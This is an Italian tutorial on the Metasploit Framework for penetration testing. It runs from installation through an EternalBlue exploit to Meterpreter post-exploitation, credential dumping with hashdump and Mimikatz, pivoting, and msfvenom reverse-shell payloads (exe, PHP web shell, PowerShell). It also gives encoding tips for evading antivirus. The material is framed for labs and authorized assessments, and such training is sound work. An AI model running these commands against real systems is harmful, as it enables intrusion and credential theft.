Metasploit Framework: Guida Completa a Exploit e Payload

Metasploit Framework è la piattaforma di penetration testing più usata per exploit, payload e post-exploitation. Guida operativa per workflow offensivo completo.
- Pubblicato il 2026-02-17
- Tempo di lettura: 5 min
Metasploit: Cos’è, Come Funziona e Come Usarlo nel Penetration Testing #
Metasploit Framework è una piattaforma open source per il penetration testing utilizzata per verificare la sicurezza di sistemi e servizi attraverso l’uso controllato di exploit, payload e tecniche di post-exploitation.
Il framework riunisce in un unico ambiente diversi strumenti e moduli che permettono di passare dall’identificazione di una vulnerabilità alla sua verifica pratica, fino alla gestione della sessione ottenuta sul sistema target.
In questa guida vediamo come utilizzare Metasploit in un lab o durante un assessment autorizzato, dalla configurazione iniziale alla ricerca dei moduli, dall’esecuzione di un exploit alla gestione delle sessioni Meterpreter, fino alla generazione di payload con msfvenom e al pivoting verso reti interne.
Come funziona Metasploit Framework #
Metasploit è organizzato attorno a un’architettura modulare. Ogni modulo svolge un compito specifico e può essere combinato con altri componenti in base allo scenario del penetration test.
Gli exploit contengono il codice e la logica necessaria per tentare di sfruttare una determinata vulnerabilità, mentre i payload definiscono ciò che deve essere eseguito sul sistema target dopo lo sfruttamento. I moduli auxiliary vengono invece utilizzati per attività come scanning, enumeration e raccolta di informazioni, mentre i moduli di post-exploitation permettono di lavorare sul sistema dopo aver ottenuto una sessione.
Questa struttura consente di costruire workflow diversi a seconda dell’obiettivo dell’assessment, utilizzando lo stesso framework per attività che vanno dalla verifica iniziale della vulnerabilità fino all’analisi del sistema compromesso.
Installazione e Setup #
Su Kali Linux Metasploit è preinstallato. Verifica e aggiorna:
msfconsole -v
sudo apt update && sudo apt install metasploit-framework -yPer altre distribuzioni, l’installer ufficiale semplifica il processo:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod +x msfinstall && ./msfinstallConfigurazione Database #
Metasploit utilizza PostgreSQL per memorizzare host, servizi, credenziali e loot. Il database è fondamentale per gestire engagement complessi:
sudo systemctl start postgresql
sudo msfdb initVerifica la connessione all’avvio di msfconsole:
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.Navigazione e Comandi Base #
L’interfaccia di Metasploit segue una logica coerente. Impara questi comandi e navigherai fluidamente in tutto il framework:
| Comando | Funzione |
|---|---|
search | Cerca moduli per keyword, CVE, piattaforma |
use | Seleziona un modulo |
info | Mostra dettagli del modulo corrente |
show options | Visualizza parametri configurabili |
set | Imposta un parametro |
run / exploit | Esegue il modulo |
back | Torna al prompt principale |
sessions | Gestisce sessioni attive |
La ricerca è potente e supporta filtri multipli:
msf6 > search type:exploit platform:windows smb
msf6 > search cve:2017-0144
msf6 > search name:eternalblueIl Primo Exploit: EternalBlue #
Per comprendere il workflow Metasploit, eseguiamo un attacco completo contro una macchina Windows vulnerabile a MS17-010 (EternalBlue).
Cerca e seleziona l’exploit:
msf6 > search ms17-010
msf6 > use exploit/windows/smb/ms17_010_eternalblueVisualizza le opzioni richieste:
msf6 exploit(ms17_010_eternalblue) > show optionsConfigura target e payload:
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.100
msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.1.50
msf6 exploit(ms17_010_eternalblue) > set LPORT 4444Lancia l’attacco:
msf6 exploit(ms17_010_eternalblue) > exploitSe il target è vulnerabile, otterrai una sessione Meterpreter:
[*] Sending stage (200774 bytes) to 192.168.1.100
[*] Meterpreter session 1 opened (192.168.1.50:4444 -> 192.168.1.100:49158)
meterpreter >Moduli Auxiliary per Ricognizione #
Prima di exploitare, i moduli auxiliary permettono di enumerare servizi e identificare vulnerabilità. Integrano perfettamente con nmap per una ricognizione completa.
Scan di versione SMB su subnet:
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(smb_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(smb_version) > set THREADS 50
msf6 auxiliary(smb_version) > runCheck vulnerabilità MS17-010:
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(smb_ms17_010) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(smb_ms17_010) > runL’output evidenzia host vulnerabili, pronti per l’exploitation.
Meterpreter: Post-Exploitation #
Meterpreter è il payload avanzato di Metasploit. Opera interamente in memoria, evitando di scrivere su disco, e offre funzionalità estese per la post-exploitation.
Comandi essenziali una volta ottenuta la shell:
meterpreter > sysinfo # Info sistema
meterpreter > getuid # Utente corrente
meterpreter > getsystem # Tenta privilege escalation
meterpreter > hashdump # Dump hash SAM
meterpreter > download file # Scarica file
meterpreter > upload file # Carica file
meterpreter > shell # Shell nativaPrivilege Escalation Automatica #
Se non sei SYSTEM, Meterpreter può tentare escalation automatica:
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation)Se fallisce, usa il suggester per trovare exploit locali:
meterpreter > run post/multi/recon/local_exploit_suggesterQuesto analizza il sistema e lista exploit applicabili con relativa probabilità di successo.
Credential Harvesting #
Il dumping delle credenziali è cruciale per il lateral movement:
meterpreter > hashdump
Administrator:500:aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::Per credenziali in chiaro, carica Mimikatz integrato:
meterpreter > load kiwi
meterpreter > creds_allPivoting: Raggiungere Reti Interne #
Quando comprometti un host con accesso a reti interne non raggiungibili direttamente, Metasploit permette di usarlo come pivot point.
Aggiungi una route attraverso la sessione:
msf6 > sessions -l
msf6 > route add 10.10.10.0/24 1Ora puoi attaccare la subnet 10.10.10.0/24 attraverso la sessione 1. Tutti i moduli Metasploit useranno automaticamente questa route.
Per strumenti esterni, configura un proxy SOCKS:
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(socks_proxy) > set SRVPORT 1080
msf6 auxiliary(socks_proxy) > run -jConfigura proxychains (/etc/proxychains4.conf) per usare il proxy e lancia tool esterni attraverso la rete pivotata.
Generazione Payload con msfvenom #
msfvenom genera payload standalone per scenari dove l’exploit diretto non è possibile. Utile per phishing, USB drop, o quando hai già un vettore di esecuzione.
Payload Windows exe:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exePayload per web shell PHP:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.phpPowerShell in-memory (fileless):
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh-cmdPer evitare detection, combina con encoding:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x64/xor_dynamic -i 5 -f exe -o encoded.exeRicorda: i payload stock sono heavily signatured. Per engagement reali, considera tecniche di evasion avanzate.
Gestione Sessioni e Workspace #
Durante un penetration test gestisci molte sessioni. Metasploit offre strumenti per organizzarle:
msf6 > sessions -l # Lista sessioni
msf6 > sessions -i 1 # Interagisci con sessione 1
msf6 > sessions -k 1 # Termina sessione 1
msf6 > sessions -K # Termina tutteI workspace separano engagement diversi:
msf6 > workspace # Lista workspace
msf6 > workspace -a client_name # Crea nuovo
msf6 > workspace client_name # SelezionaImporta risultati da nmap per popolare il database:
msf6 > db_import /path/to/nmap_scan.xml
msf6 > hosts # Visualizza host importati
msf6 > services # Visualizza serviziScenari Pratici #
Scenario 1: Compromissione Rete Corporate #
Workflow completo per un engagement interno:
- Scan rete con db_nmap integrato
- Identifica host vulnerabili con auxiliary scanner
- Exploit della vulnerabilità più critica
- Privilege escalation a SYSTEM
- Credential dump con Mimikatz
- Lateral movement verso Domain Controller
- Persistenza e documentazione
Scenario 2: Web Application to Shell #
Quando hai una vulnerabilità web (RCE, file upload):
- Genera payload PHP con msfvenom
- Upload tramite vulnerabilità
- Configura handler in Metasploit
- Triggera il payload visitando la URL
- Post-exploitation standard
Handler per ricevere connessioni:
msf6 > use exploit/multi/handler
msf6 exploit(handler) > set PAYLOAD php/meterpreter/reverse_tcp
msf6 exploit(handler) > set LHOST 0.0.0.0
msf6 exploit(handler) > set LPORT 4444
msf6 exploit(handler) > exploit -jTroubleshooting #
“Exploit completed, but no session was created”: il payload non riesce a connettersi. Verifica che LHOST sia raggiungibile dal target, controlla firewall locale, prova payload diversi (staged vs stageless).
Handler non riceve connessioni: verifica che la porta sia aperta (sudo ufw allow 4444/tcp), che LHOST sia corretto (usa 0.0.0.0 per tutti gli IP), che il target possa raggiungere il tuo IP.
Database non connesso: riavvia PostgreSQL e reinizializza con msfdb reinit.
FAQ #
Metasploit vs exploit manuali?
Metasploit accelera il workflow ma gli exploit potrebbero essere meno aggiornati di quelli su Exploit-DB. Per CVE recenti, verifica sempre la data del modulo.
Come aggiorno i moduli?
msfupdate aggiorna tutto il framework. Per moduli community più recenti, copia i file .rb in ~/.msf4/modules/.
Meterpreter viene rilevato dagli AV?
I payload standard sono signatured. Per evasion usa encoding, payload custom, o framework dedicati come Veil.
È legale usare Metasploit?
Solo su sistemi autorizzati. Per penetration test professionali.
Risorse: Metasploit Docs | Rapid7 GitHub








